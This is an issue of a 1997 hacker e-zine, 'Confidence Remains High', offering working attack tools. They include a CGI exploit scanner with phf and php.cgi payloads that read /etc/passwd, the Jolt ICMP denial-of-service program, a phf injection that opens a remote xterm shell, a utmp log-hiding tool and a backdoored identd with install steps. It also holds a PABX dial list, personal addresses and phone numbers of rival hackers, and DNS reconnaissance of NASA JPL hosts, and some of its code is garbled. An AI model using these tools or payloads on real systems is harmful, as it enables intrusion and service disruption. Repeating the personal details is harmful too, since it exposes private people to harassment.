컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� .oO The CodeZero Oo. .oO Presents Oo. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Welcome to issue 4 of.. /IIIIIIIIII /IIIIIIIIII /III /III \ III_____/ \ III___/III \ III \ III \ III \ III \ III \ III \_III \ III onfidence \ IIIIIIII emains \ IIIIIIIIII igh \ III \ III__/III \ III__/ III \ III \ III \ III \ III \ III \ IIIIIIIIII ___ \ III \ III ___ \ III \ III ___ \_________/ /\__\ \__/ \__/ /\__\ \__/ \__/ /\__\ \/__/ \/__/ \/__/ ...3rd September 1997 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Team CodeZero, we rule your weak network. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� .-----------[ An Official ]-----------. : .-----. .----. .--.--. : : : .--' : .-. : : : : : !_-:: : : : `-' ; : . : ::-_! :~-:: :: : :: . : :: : ::-~: : ::.`--. ::.: : ::.: : : : `-----' `--'--' `--'--' : !_-:: ::-_! :~-::-[ Confidence Remains High ]-::-~: :~-:: ::-~: `-----------[ Production ]------------' 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� In This "Added Exploits" Issue : 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� -----=> Section A : Introduction And Cover Story. 1. Confidence Remains High issue 4....................: Tetsu Khan 2. The Hackers vs. The System.........................: so1o -----=> Section B : Exploits And Code. 1. Generic scanner....................................: ultima 2. VITO...............................................: Et Lownoise 3. Jolt.c.............................................: VallaH 4. Phf shell spawning tekneek.........................: xFli 5. Hide.c.............................................: unknown 6. Tridentd.c.........................................: BiT -----=> Section C : Phones / Scanning / Radio. 1. Norweigen PABX list................................: RipperJack -----=> Section D : Miscellaneous. 1. Windows trick......................................: so1o 2. sIn inf0z..........................................: so1o 3. DCC trick..........................................: so1o 4. Mars systems @*.jpl.nasa.gov.......................: so1o 5. The issues list....................................: so1o 6. Damned warez pups..................................: so1o 7. Simple NFS techniques..............................: Synner 8. #hebrew............................................: so1o 9. Lord Somer.........................................: so1o -----=> Section E : World News. 1. c0de...............................................: so1o 2. Beyond HOPE........................................: Some dude @wired.com 3. www.sinnerz.com gets 0wned.........................: so1o ------=> Section F : Projects. 1. soltool for Solaris 2.5.x [sunOS 5.5.x] is here!@~.: so1o 2. TOTAL CON..........................................: so1o -----=> Section G : The End. (+ Personal Column) 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== ==[ INTRO ]====================[ .SECTION A. ]======================[ INTRO ]== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 1. Confidence Remains High issue 4 : Tetsu Khan 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Here we are again, not really alot happening lately, just threw this together and got it out to our public, and here it is, CRH issue 4!@# The Confidence Remains High distro site list : ---------------------------------------------- http://www.r0ot.org/crh/ [main distro] http://www.rootshell.com http://insecurity.insecurity.org/codez/ ftp://ftp.sekurity.org/users/so1o/ ...And alot of other sites, just go looking around. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 2. The Hackers vs. The System : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� The Government built the ARPAnet, for military use during the "Cold War", then the hackers built their own network, based on protocols developed by others, this later became the Internet, accessible by the public, now the Military and Government systems have "migrated" onto our network. The hackers want freedom to learn and explore their network, the public want peace of mind and security, the companies want to become more efficient, and commercialise the Internet and the Governments want laws to bring order to the Internet, because they are scared of what OUR network might become, but the Internet wasn't built by the Governments, they have a right to use our network, but no right to try and change our rules, it is a futile move on their part. Real wars are based on the use of power in weapons, nuclear bombs, submarines, and the like, this all costs alot of money to develop such capabilities. Now, in the "information age", you don't need guns or bombs to cripple a country or a company, because they are so dependant on the internet, which the hackers built, if the hackers built it, they can just as easily take it down using a computer, a modem, and a few skills, which costs ALOT less then guns and bombs, but can be equally, if not more powerful as dependance by companies, the public, and the Government on OUR Internet increases. Companies want to become more efficient, it may take days to send letters overseas, not forgetting the cost, but seconds by e-mail, next the put reports and blueprints and the like on supposedly secure systems, which their employees should only be able to access. Hackers are the only successful Governors of the Internet, the Governments can try to introduce laws, but they can, and will never be able to enforce those laws over the Internet, it was built by hackers, and we say that it should be a medium through which anyone with an open mind can learn or teach, its all information, 1's and 0's. This isn't a "real-world" problem, because Governments will never stop us, there will always be tens of thousands to follow us, there are no boundaries on our network, thats the way it will always be. It's simple, hackers made the network, Governments have no right to call "hacking" over OUR Internet illegal, they have no rights to even try to tell us what to do, they know that, but the public, and companies *THINK* that the Governments can control what goes on over OUR Internet, and so they demand security and peace of mind, which the Governments try to provide, but no-one can Govern OUR Internet, except the creators, the hackers, if we wanted to destroy the internet, we would have done so a long time ago, we just don't like Governments taking futile measures like they have. Its not as if the Governments can do alot about this situation, hackers are only ghosts, we go by handles, codenames, no "real-life" details are let out, you can never catch us all, we are the ultimate invisible army. At the most, all the Governments can do is make laws and attempt to enforce them, turning the Internet into a nicer place in some respecs, but hackers will just hit back *slightly* harder by taking all Government sites off of the internet, and to make the network our own again. At the end of the day, if you want law and order now, and a nicer place to live, then disconnect your modem, and live in the real world, because you don't belong on our network. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== ==[ EXPLOITS ]=================[ .SECTION B. ]===================[ EXPLOITS ]== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 1. Generic Scanner : Ultima 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� /* Quick and simple generic scanner to take input from a list of hosts */ /* (c) 1997 Ultima, the CodeZero Ninja Task Force. */ /* Usage: ./scanner (good for port 143 scanning) */ #include #include #include #include #include #include #define OPEN 1 #define CLOSED 2 #define ERR_SOCK 3 #define ERR_NOHOST 4 int port; int check_port(char *host) { struct sockaddr_in sin; struct hostent *he; int i, fd; if((fd = socket(AF_INET, SOCK_STREAM, 0))<0) { perror("socket"); return(ERR_SOCK); } if((he = gethostbyname(host))==NULL) { herror("gethostbyname"); return(ERR_NOHOST); } sin.sin_family = AF_INET; sin.sin_port = htons(port); sin.sin_addr = *((struct in_addr*)he->h_addr); if((connect(fd, (struct sockaddr *)&sin, sizeof(sin)))<0) { perror("connect"); return(CLOSED); } else { close(fd); return(OPEN); } } int main(int argc, char **argv) { FILE *in, *out; char *buf; buf = (char *)malloc(256); if(argc < 4) { fprintf(stderr, "usage: %s \r\n", argv[0]); exit(1); } port = atoi(argv[1]); if((in = fopen(argv[2], "r"))==NULL) { perror(argv[2]); exit(1); } if((out = fopen(argv[3], "a"))==NULL) { perror(argv[3]); exit(1); } while((fgets(buf, 255, in)) == buf) { if(buf[0] != ' ' && buf[0] != '\n') { buf[strlen(buf)-1] = '\0'; printf("Checking %s...", buf); switch(check_port(buf)) { case OPEN: fprintf(out, "%s : Port %i Open\r\n", buf, port); printf("Open\r\n"); break; case CLOSED: fprintf(out, "%s : Port %i Closed\r\n", buf, port); printf("Closed\r\n"); break; case ERR_SOCK: fprintf(out, "%s: Socket Error\r\n", buf); printf("Socket Error\r\n"); break; case ERR_NOHOST: fprintf(out, "%s: No Such Host\r\n", buf); printf("No Such Host\r\n"); break; default: fprintf(out, "%s: Unknown Error\r\n", buf); printf("Unknown Error\r\n"); break; } } } } 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 2. VITO : ET Lownoise 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� /* V.I.T.O Vicious Internet TOol by ET Lownoise Colombia 1997. Copyshit (:Q~) ET 1997. Test (T.E.S.T!!!) a web server for interesting MUST NOT HAVE cgi's. note that this program sucks too. 2 Files: -Vito.c -Vito.ini <---- you can edit this one....so u can upgrade this program. Just follow the sintax. etorres@cyberservices.com Why is necesary a disclaimer when nobody reads it?. Compile for dummies =================== cc -o vito vito.c Execute for dummies =================== vito */ #include #include #include #include #include #include #define TAMANO 1024 int sock; struct sockaddr_in sock_dest; char host_dest[100]; main(int argc,char *argv[]) { FILE *ini; /*check for vito.ini*/ int a, b, c, d, x; struct hostent *pastelito; char buffer[TAMANO], bufrec[TAMANO], buftmp[TAMANO], encabezado[50]; if (argc < 2) { fprintf(stdout,"V.I.T.O by ET Lownoise 97\n"); fprintf(stdout,"Usage: %s [> file]\n",argv[0]); fprintf(stdout,"Note: I know this program sucks.. it\n"); fprintf(stdout," just make things easy.\n"); exit(0); } if((ini=fopen("vito.ini","r"))==NULL){ fprintf(stdout,"%s needs his ini file: vito.ini\n",argv[0]); exit(0); } if (sscanf(argv[1],"%d.%d.%d.%d",&a,&b,&c,&d) != 4) { pastelito = gethostbyname(argv[1]); if (pastelito == NULL) { fprintf(stdout,"Ahhhhhhh! cannot resolve host %s\n",argv[1]); exit(0); } sprintf(host_dest,"%d.%d.%d.%d",(unsigned char ) pastelito->h_addr_list[0][0], (unsigned char ) pastelito->h_addr_list[0][1], (unsigned char ) pastelito->h_addr_list[0][2], (unsigned char ) pastelito->h_addr_list[0][3]); } else { strncpy(host_dest,argv[1],99); } fprintf(stdout,"V.I.T.O.\n"); fprintf(stdout,"Attac...Testing host: %s ",host_dest); /*ET*/ sock_dest.sin_family = AF_INET; sock_dest.sin_port = htons(80); /* www port */ sock_dest.sin_addr.s_addr = inet_addr(host_dest); while(fgets(buffer,TAMANO,ini)!=NULL){ /*Buffer line size*/ if(buffer[0]=='['){ /* Buffer division*/ strcpy(buftmp,buffer); strcpy(buffer,strchr(buftmp,'G')); strncpy(encabezado,buftmp,strlen(buftmp)-strlen(buffer)+1); encabezado[strlen(buftmp)-strlen(buffer)]='\0'; sock = socket(AF_INET,SOCK_STREAM,0); if(sock < 0) { fprintf(stdout,"ERROR: socket() failed\n"); exit(0); } x = connect(sock,(struct sockaddr *) &sock_dest,sizeof(sock_dest)); if(x < 0){ fprintf(stdout,"Upps.. can't connect to port 80\n"); } fprintf(stdout, "\n|-------------------------------------------------------------|\n"); fprintf(stdout," CGI: %s\n",encabezado); fprintf(stdout," Sending.\n"); fprintf(stdout," %s",buffer); fprintf(stdout,"|-------------------------------------------------------------|\n"); send(sock,buffer,TAMANO*sizeof(char),0); bzero(buffer,TAMANO); fprintf(stdout," Receiving.\n\n"); while((x=recv(sock,bufrec,TAMANO*sizeof(char),0))!=0){ fprintf(stdout,"%s",bufrec); bzero(bufrec,TAMANO); } close(sock); } } fclose(ini); fprintf(stdout, "\n|=============================================================|\n"); fprintf(stdout,"Vito End. ET Lownoise 1997\n"); } ---vito.ini------------------------------------------------------------------- ############################################################## # V.I.T.O Et Lownoise 1997 Ini File. ver.1.0 # ############################################################## # Please be carefull when u edit this file because some times # the text editor u use break the lines. # If u create a new line please use the GET in uppercase and # if u whant to comment any line use #. # # Note: The space used in the IRIX line is a TAB no a space. # and u cannot use %xx to replace them. # Note: Modify the email address in the aglimpse line. # # etorres@cyberservices.com # ############################################################## # format: # # [comment] GET exploit_line_here # ############################################################## [phf passwd] GET /cgi-bin/phf?Qalias=hell%0acat%20/etc/passwd%0a [phf uname] GET /cgi-bin/phf?Qalias=hell%0auname%20-a%0a [finger] GET /cgi-bin/finger?%0a [test-cgi cgis] GET /cgi-bin/test-cgi?/* [test-cgi dirs] GET /cgi-bin/test-cgi?/* [php/fi] GET /cgi-bin/php.cgi?/etc/passwd #[Access control on W3C httpd server] GET //secret/index.html #[IRIX handler ] GET /cgi-bin/handler/useless_shit;cat/etc/passwd|?data=Download [mglimpse] GET /cgi-bin/aglimpse/80|cat #include #include #include #include #include #include #include #include #include int main(int argc, char **argv) { int s,i; char buf[400]; struct ip *ip = (struct ip *)buf; struct icmphdr *icmp = (struct icmphdr *)(ip + 1); struct hostent *hp, *hp2; struct sockaddr_in dst; int offset; int on = 1; int num = 5; bzero(buf, sizeof buf); if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW )) < 0) { perror("socket"); exit(1); } if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) { perror("IP_HDRINCL"); exit(1); } if (argc < 3) { printf("Jolt v1.0 Yet ANOTHER windows95(And macOS!) glitch by VallaH (yaway@hotmail.com)\n"); printf("\nusage: %s [number]\n",argv[0]); printf("\tdstaddr is the host your attacking\n"); printf("\tsaddr is the host your spoofing from\n"); printf("\tNumber is the number of packets to send, 5 is the default\n"); printf("\nNOTE: This is based on a bug that used to affect POSIX complient, and SYSV \n\t systems so its nothing new..\n"); printf("\nGreets to Bill Gates! How do ya like this one? :-)\n"); exit(1); } if (argc == 4) num = atoi(argv[3]); for (i=1;i<=num;i++) { if ((hp = gethostbyname(argv[1])) == NULL) { if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) { fprintf(stderr, "%s: unknown host\n", argv[1]); exit(1); } } else { bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length); } if ((hp2 = gethostbyname(argv[2])) == NULL) { if ((ip->ip_src.s_addr = inet_addr(argv[2])) == -1) { fprintf(stderr, "%s: unknown host\n", argv[2]); exit(1); } } else { bcopy(hp2->h_addr_list[0], &ip->ip_src.s_addr, hp->h_length); } printf("Sending to %s\n", inet_ntoa(ip->ip_dst)); ip->ip_v = 4; ip->ip_hl = sizeof *ip >> 2; ip->ip_tos = 0; ip->ip_len = htons(sizeof buf); ip->ip_id = htons(4321); ip->ip_off = htons(0); ip->ip_ttl = 255; ip->ip_p = 1; ip->ip_csum = 0; /* kernel fills in */ dst.sin_addr = ip->ip_dst; dst.sin_family = AF_INET; icmp->type = ICMP_ECHO; icmp->code = 0; icmp->checksum = htons(~(ICMP_ECHO << 8)); for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) { ip->ip_off = htons(offset >> 3); if (offset < 65120) ip->ip_off |= htons(0x2000); else ip->ip_len = htons(418); /* make total 65538 */ if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst, sizeof dst) < 0) { fprintf(stderr, "offset %d: ", offset); perror("sendto"); } if (offset == 0) { icmp->type = 0; icmp->code = 0; icmp->checksum = 0; } } } return 0; } 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 4. Phf shell spawning tekneek : xFli 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� http://www.blah.com/cgi-bin/phf?Qalias=x%0a/usr/openwin/xterm%20-display%20your.addy.com Which incase you cant work it out will open an xterm on your Xwindows capable box, in effect giving you shell access as the uid the http daemon is running as (usually 'nobody') NOTE: the vulnerable system must also have the Xwindows system installed. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 5. Hide.c : unknown 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� /* hide.c , it does what it says on the can */ #include #include #include #include #define UTMPFILE "/etc/utmp" FILE *utmpfile; char *utmp_tmp[10240]; main (argc, argv) int argc; char *argv[]; { struct utmp *user_slot; struct passwd *pwd; char line[10], name[10], host[20]; int index; printf ("Welcome to HIDE ! FORMAT: hide [-i]\n\n"); utmpfile = fopen (UTMPFILE, "r+"); if (utmpfile == NULL) { printf ("ERROR while opening utmp file... exiting...\n"); exit (); } index = ttyslot(); /* Get this users utmp index */ index *= sizeof(struct utmp); /* 36 */ fseek(utmpfile, index, 0); /**** Get real UID ****/ pwd = getpwuid (getuid()); if (pwd == NULL) printf ("Who the hell are you???"); else { printf ("Real user identity:\n"); printf ("NAME %s\n", pwd->pw_name); printf (" UID %d\n", pwd->pw_uid); printf (" GID %d\n\n", pwd->pw_gid); } /**** If ARG1 = "-i" then disappear from utmp ****/ if ( (argc>1) && (!strcmp(argv[1], "-i")) ) { index+=8; /* Rel PNT name */ fseek(utmpfile, index, 0); fwrite ("\000", 8, 1, utmpfile); /* NO NAME */ fwrite ("\000", 8, 1, utmpfile); /* NO HOST */ fclose(utmpfile); printf ("Removed from utmp\n"); exit(); } /**** Change utmp data ****/ printf ("Enter new data or return for default:\n"); fseek(utmpfile, index, 0); /* Reset file PNT */ fread(line, 8, 1, utmpfile); line[8]=NULL; fread(name, 8, 1, utmpfile); name[8]=NULL; fread(host, 16, 1, utmpfile); host[16]=NULL; fseek(utmpfile, index, 0); /* Reset file PNT */ dinput (" TTY [%s]%s", line, 8); dinput ("NAME [%s]%s", name, 8); dinput ("HOST [%s]%s", host, 16); fclose(utmpfile); } /* Data input */ dinput (prompt, string, size) char *prompt; char *string; int size; { char input[80]; char *stat; char space[] = " "; space[20-strlen(string)] = '\000'; printf (prompt, string, space); stat = gets (input); if (strlen(input) > 0) fwrite (input, size, 1, utmpfile); else fseek (utmpfile, size, 1); } 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 6. Tridentd.c : BiT 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� /* This is just a simple hack to identd's code so that identd will allow * you to connect to its port and send a special command to make identd * spawn off a shell. * * When connected to the identd port of the machine running the trojaned * identd enter the command: * * "SS ####### ##" * * where ####### is your defined MKEY and ## is your defined SKEY * * NOTE: You must have root on the system you wish to install this backdoor * on. And the binary must be owned by root and in the wheel or root groups. * * To compile/install: * * gcc -Wall -O3 -w -O identd.c -o in.identd * strip in.identd * mv in.identd /usr/sbin/in.identd * chown root.root /usr/sbin/in.identd * chmod 770 /usr/sbin/in.identd * * Then edit /etc/services and /etc/inetd.conf so that it spawns the * correct daemon. */ #include #include #include #include #include #include #include #include #define MKEY 3849572 #define SKEY 72 int writeranduser(void) { int r; char username[12]; srandom(getpid()); memset(username, 0, 12); r = random() % 26; r = r + 'a'; memset(username, r, 11); if(write(1, username, strlen(username)) < strlen(username)) exit(0); return 1; } int main(int argc, char **argv) { char genrandomuser = 1; char *portpair = NULL; fd_set rset; struct timeval tv; int i; if(argc > 1) genrandomuser = 0; portpair = malloc(1024); if(!portpair) exit(0); memset(portpair, 0, 1024); tv.tv_sec = 180; tv.tv_usec = 0; FD_ZERO(&rset); FD_SET(0, &rset); i = select(1, &rset, NULL, NULL, &tv); if(i < 1) exit(0); if(read(0, portpair, 512) < 1) exit(0); while(*portpair) { if(isdigit(*portpair)) if(write(1, portpair, 1) < 0) exit(0); else; else if(*portpair == ',') if(write(1, portpair, 1) < 0) exit(0); else; portpair++; } if(write(1, " : USERID : UNIX : ", 19) < 19) exit(0); if(!genrandomuser) if(write(1, argv[1], strlen(argv[1])) < strlen(argv[1])) exit(0); else; else writeranduser(); if(write(1, "\r\n", 2) < 2) exit(0); return 1; } 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== ==[ FONES / SCANNING ]=========[ .SECTION C. ]===========[ FONES / SCANNING ]== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 1. Norweigen PABX list : RipperJack 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Alrek Studenthjem - 55291802 Arbeidskontoret i Arna - 55243890 Arbeidskontoret i Fyllingsdalen - 55168910 Arbeidskontoret p� Nesttun - 55135330 Arbeidskontoret p� Os썌ro - 56304695 Bergen Airport Hotel - 55229236 Bergen Tekniske Fagskole - 55232582 Betanien Hospitalet - 55166979 - fax! Datainstrument A/S - 55314390 - etter stengetid?? Den Norske Bank - 56302071 Inter Revisjon Bergen - 55295201 Jebsens Management A/S - 55310606 Knappentunet - 55124299 Norsk Blikkvalseverk A/S - 55341260 Olaviken Behandlingssenter - 56149798 Os Likningskontor og Folkeregister - 56301299 *Statens Dykkerskole - 55268904 Statens H쌹skole for kunsth냣dverk og design - 55311943 Steen-Hansen F Malings- og Lakkfabrikk A/S - 55100040 Stolz R썇hing AS - 55345560 Vestlandet Kompetansesenter - 55296485 Bj썄keteigen - 56555710 Norheimsund Yrkesskule - 56551530 Toloheimen - 56552030 Arbeidskontoret i Knarvik - 56352330 Odda Plast AS - 53644480 Solid Vedlikehold AS - 56334275 To find out just how much it costs you to call these pbxs, dial 80031031 for Telenor's price information service. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== ==[ MISC ]=====================[ .SECTION D. ]=======================[ MISC ]== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 1. Windows trick : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� An elite w1nd0ze trick for w1nd0ze 3.1 icon 0wnersh1p... The Windows 3.1 trick. ====================== I found this out myself at work the other day, I was trying to fuck with the File -> Run in program manager, so I was giving it like random acsii's in the command line and shit, then I decided to throw a load of spaces at it, and I found this fucked with the icons and refresh on the display, so here's the technique to make all the icons dissapear! 1) Get into Program Manager, then go File -> Run. 2) In the program name box, just put ALOT of spaces, leave your finger on the space bar until the box is full, now delete the last 4 or 5 of your spaces and put a full stop in, then fill the rest of the box up with spaces. 3) Now try run the " . " program by clicking on the OK button. 4) It will give an error box with a character like "`" in it, this shows it has worked, because usually it gives like "cannot run blah blah blah..." 5) Now click on the OK in the error box to get rid of it. 6) Now open any program group, and maximise it, all the icons will dissapear, next minimise and maximise another group, and so on, until all the icons have dissapeared in all the groups. Thats it, the only way to turn your w1nd0ze system back to normal is to exit :P 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 2. sIn inf0z : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Fucking sIn b1tchez bow to the elite. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Alias : Evil Chick Real Name : Suzette Kimminau Address : 130 105th Ave. S.E. Apt. 218 Bellevue, Wa 98004 USA Telephone : (206)454-7176 E-mail : evilchic@NWLINK.COM ------------------------------------------------------------------------------- Alias : \\StOrM\\ Real Name : Jason Sloderbeck Address : 5739 N Norton, Kansas City, MO 64119 USA Telephone : (816)453-8722 E-mail : storm@SINNERZ.COM ------------------------------------------------------------------------------- Alias : JDKane Real Name : Kim Address : 327 E Park Road, Round Lake, IL 60073 USA Telephone : (847)546-9154 E-mail : ------------------------------------------------------------------------------- Alias : Soul Tear Real Name : Wesley Stroeber Address : 10770 E. Silver Vein Dr. Tucson, Arizona 85710 USA Telephone : E-mail : soultear@mindspring.com ------------------------------------------------------------------------------- Alias : Scud-O Real Name : Kevin Shivers Address : PO Box 448 Sykesville, Maryland 21784 USA Telephone : (410)442-2410 E-mail : foxmulder@WORLDNET.ATT.NET * Scud-O is leaving sIn. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� You want to know how lame sIn really are? check www.sinnerz.com The Hax0r brothers don't 0wn a car between them. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 3. DCC trick : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� d1s in #hackers showed us this the other day, its quite simple, and probably old, all you have to do is link a file, like warez.tgz to zero, then DCC it to someone thats 1) away, or 2) very stupid, it will then keep sending them shit until they 1) stop it, or 2) have no more disk space :) 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 4. Mars systems @*.jpl.nasa.gov : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Fear mad dnscan skills, even shows OS... wE c4N dR1VE tH3 r0VER!@#~ jpl.nasa.gov mars-elvis A 137.78.16.108 jpl.nasa.gov mars-elvis HINFO PowerMac7100-80 System7.5.3 jpl.nasa.gov mars-lanrover A 137.78.78.131 jpl.nasa.gov mars-lanrover HINFO ShivaLanRover-E ShivaProprietary jpl.nasa.gov mars-lanrover-1 A 137.78.78.132 jpl.nasa.gov mars-lanrover-1 HINFO ShivaLanRover-E ShivaProprietary jpl.nasa.gov mars-lanrover-2 A 137.78.78.133 jpl.nasa.gov mars-lanrover-2 HINFO ShivaLanRover-E ShivaProprietary jpl.nasa.gov mars-lanrover-3 A 137.78.78.134 jpl.nasa.gov mars-lanrover-3 HINFO ShivaLanRover-E ShivaProprietary jpl.nasa.gov mars-lanrover-4 A 137.78.78.135 jpl.nasa.gov mars-lanrover-4 HINFO ShivaLanRover-E ShivaProprietary jpl.nasa.gov mars-test-1 A 137.78.78.191 jpl.nasa.gov mars-test-1 HINFO PCMAC Various jpl.nasa.gov mars-test-2 A 137.78.78.192 jpl.nasa.gov mars-test-2 HINFO PCMAC Various jpl.nasa.gov mars-test-3 A 137.78.78.193 jpl.nasa.gov mars-test-3 HINFO PCMAC Various jpl.nasa.gov mars-test-4 A 137.78.78.194 jpl.nasa.gov mars-test-4 HINFO PCMAC Various jpl.nasa.gov mars-test-5 A 137.78.78.195 jpl.nasa.gov mars-test-5 HINFO PCMAC Various jpl.nasa.gov mars-test-6 A 137.78.78.196 jpl.nasa.gov mars-test-6 HINFO PCMAC Various jpl.nasa.gov mars-test-7 A 137.78.78.197 jpl.nasa.gov mars-test-7 HINFO PCMAC Various jpl.nasa.gov mars-test-8 A 137.78.78.198 jpl.nasa.gov mars-test-8 HINFO PCMAC Various jpl.nasa.gov mars-test-9 A 137.78.78.199 jpl.nasa.gov mars-test-9 HINFO PCMAC Various jpl.nasa.gov mars98ftp A 137.78.82.27 jpl.nasa.gov mars98ftp HINFO MacII system7 jpl.nasa.gov marsala A 137.78.24.26 jpl.nasa.gov marsala HINFO PC Windows95 jpl.nasa.gov marseyes A 137.78.54.45 jpl.nasa.gov marseyes HINFO PCLaptop window95 jpl.nasa.gov marsglow A 137.78.144.167 jpl.nasa.gov marsglow HINFO HP1600CM PCL jpl.nasa.gov marsmir A 137.78.6.221 jpl.nasa.gov marsmir HINFO SPARC2 Solaris2.5 jpl.nasa.gov marsnight A 137.78.144.165 jpl.nasa.gov marsnight HINFO HP4M PCL jpl.nasa.gov marsnt1 A 137.78.78.31 jpl.nasa.gov marsnt1 HINFO CompaqProliant NT4.0Server jpl.nasa.gov marsnt2 A 137.78.78.32 jpl.nasa.gov marsnt2 HINFO CompaqProliant NT4.0Server jpl.nasa.gov marsnt3 A 137.78.78.106 jpl.nasa.gov marsnt3 HINFO CompaqPC NTServer3.5.1 jpl.nasa.gov marsnt3-alias1 A 137.78.78.107 jpl.nasa.gov marsnt3-alias1 HINFO CompaqProliant NTServer3.51 jpl.nasa.gov marssup-premia A 137.78.78.60 jpl.nasa.gov marssup-premia HINFO ASTPREMIALX WIN95 jpl.nasa.gov marsweb1 A 137.78.78.120 jpl.nasa.gov marsweb1 HINFO SunUltra170 Solaris jpl.nasa.gov marsweb2 A 137.78.78.121 jpl.nasa.gov marsweb2 HINFO ClonePC WinNT4.0 jpl.nasa.gov marsweb3 A 137.78.78.122 jpl.nasa.gov marsweb3 HINFO MicronPPro200 NT4.0Server 